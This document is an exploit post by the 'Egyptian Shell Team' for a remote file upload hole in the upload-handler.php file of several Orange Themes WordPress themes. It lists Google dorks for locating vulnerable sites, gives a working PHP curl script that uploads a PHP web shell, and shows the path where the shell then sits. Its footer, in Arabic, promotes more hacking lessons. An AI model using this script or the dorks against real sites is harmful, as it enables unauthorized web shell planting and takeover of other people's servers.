[+] WP All Orange Themes Remote File Upload Vulnerability .

/*

 ______                  _   _                _____ _          _ _   _______
|  ____|                | | (_)              / ____| |        | | | |__   __|
| |__   __ _ _   _ _ __ | |_ _  __ _ _ __   | (___ | |__   ___| | |    | | ___  __ _ _ __ ___
|  __| / _` | | | | '_ \| __| |/ _` | '_ \   \___ \| '_ \ / _ \ | |    | |/ _ \/ _` | '_ ` _ \
| |___| (_| | |_| | |_) | |_| | (_| | | | |  ____) | | | |  __/ | |    | |  __/ (_| | | | | | |
|______\__, |\__, | .__/ \__|_|\__,_|_| |_| |_____/|_| |_|\___|_|_|    |_|\___|\__,_|_| |_| |_|
        __/ | __/ | |
       |___/ |___/|_|

~~~ :xD: Have fun. Don't forget To Bookmark This Website :xD:
~~~ http://www.egyptianshell.com/
~~~ Dr.FarFar & Mr.MaGMA & Th3 Mast3r

*/

    #################################################################
    #  WordPress All Orange Themes Remote File Upload Vulnerability #
    #################################################################

########################################################################################
#
# Exploit Title: WordPress All Orange Themes Remote File Upload Vulnerability
#
# Vendor Homepage: http://www.orange-themes.com/
#
# Infected File: upload-handler.php
#
# Category: WebApps
#
# Google dork:   ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓
#
# Allinurl:"/wp-content/themes/agritourismo-theme/"
# Allinurl:"/wp-content/themes/bordeaux-theme/"
# Allinurl:"/wp-content/themes/bulteno-theme/"
# Allinurl:"/wp-content/themes/oxygen-theme/"
# Allinurl:"/wp-content/themes/radial-theme/"
# Allinurl:"/wp-content/themes/rayoflight-theme/"
# Allinurl:"/wp-content/themes/reganto-theme/"
# Allinurl:"/wp-content/themes/rockstar-theme/"
#
# Tested on : Windows/Linux/Mac
#
########################################################################################

[+] Exploit

<?php
$uploadfile="EgyShell-Upload.php";
$ch = curl_init("http://[LocalHost]/wp-content/themes/[Theme Name]/functions/upload-handler.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
        array('orange_themes'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>

########################################################################################

    [+] [Theme Name]

    agritourismo-theme
    bordeaux-theme
    bulteno-theme
    oxygen-theme
    radial-theme
    rayoflight-theme
    reganto-theme
    rockstar-theme

########################################################################################

[+] http://127.0.0.1/wordpress/wp-content/uploads/2014/02/EgyShell-Upload.php

########################################################################################


            لمزيد من المعلومات او لمزيد من دروس القرصنه

                    تابعونا علي

                https://www.facebook.com/egyshell
                http://WwW.EgyptianShell.com/

                     ~\ Dr.FarFar & Mr.MaGMA & Th3 Mast3r /~